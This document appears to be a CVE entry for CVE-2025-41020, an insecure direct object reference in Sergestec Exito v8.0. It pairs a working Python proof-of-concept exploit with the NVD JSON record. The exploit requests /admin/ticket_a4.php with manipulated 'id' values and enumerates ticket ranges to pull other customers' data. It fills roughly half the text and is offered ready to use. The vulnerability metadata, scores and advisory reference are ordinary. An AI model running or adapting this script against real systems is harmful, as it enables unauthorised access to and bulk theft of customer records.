CVE-2025-41020

#!/usr/bin/env python3 # CVE-2025-41020 - Sergestec Exito v8.0 IDOR Vulnerability PoC # Exploit for Insecure Direct Object Reference in /admin/ticket_a4.php import requests import sys import argparse TARGET_URL = "http://target.com" # Replace with target URL def exploit_idor(base_url, ticket_id): """ Exploit IDOR vulnerability by accessing ticket data via manipulated 'id' parameter. """ endpoint = f"{base_url}/admin/ticket_a4.php" params = {"id": ticket_id} try: response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200 and len(response.text) > 0: print(f"[+] Ticket ID {ticket_id} - Status: {response.status_code}") print(f"[+] Response length: {len(response.text)}") return response.text else: print(f"[-] Ticket ID {ticket_id} - Status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None def enumerate_tickets(base_url, start_id=1, end_id=100): """ Enumerate ticket IDs to extract all accessible data. """ print(f"[*] Starting enumeration from ID {start_id} to {end_id}") results = {} for tid in range(start_id, end_id + 1): data = exploit_idor(base_url, tid) if data and len(data) > 100: # Filter out empty/error responses results[tid] = data print(f"[+] Found valid data for ticket ID: {tid}") return results if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-41020 PoC - Sergestec Exito IDOR") parser.add_argument("-u", "--url", default=TARGET_URL, help="Target base URL") parser.add_argument("-i", "--id", type=int, default=1, help="Specific ticket ID to access") parser.add_argument("-r", "--range", action="store_true", help="Enumerate ticket ID range") parser.add_argument("-s", "--start", type=int, default=1, help="Start ID for enumeration") parser.add_argument("-e", "--end", type=int, default=100, help="End ID for enumeration") args = parser.parse_args() if args.range: enumerate_tickets(args.url, args.start, args.end) else: exploit_idor(args.url, args.id)

{"cve": {"id": "CVE-2025-41020", "sourceIdentifier": "[email protected]", "published": "2025-10-16T08:15:35.610", "lastModified": "2025-10-21T13:12:13.663", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insecure direct object reference (IDOR) vulnerability in Sergestec's Exito v8.0. This vulnerability allows an attacker to access data belonging to other customers through the 'id' parameter in '/admin/ticket_a4.php'."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sergestec:exito:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "6A19865C-ECE1-4603-B70C-1DE47F6EA41D"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-sergestec-products", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}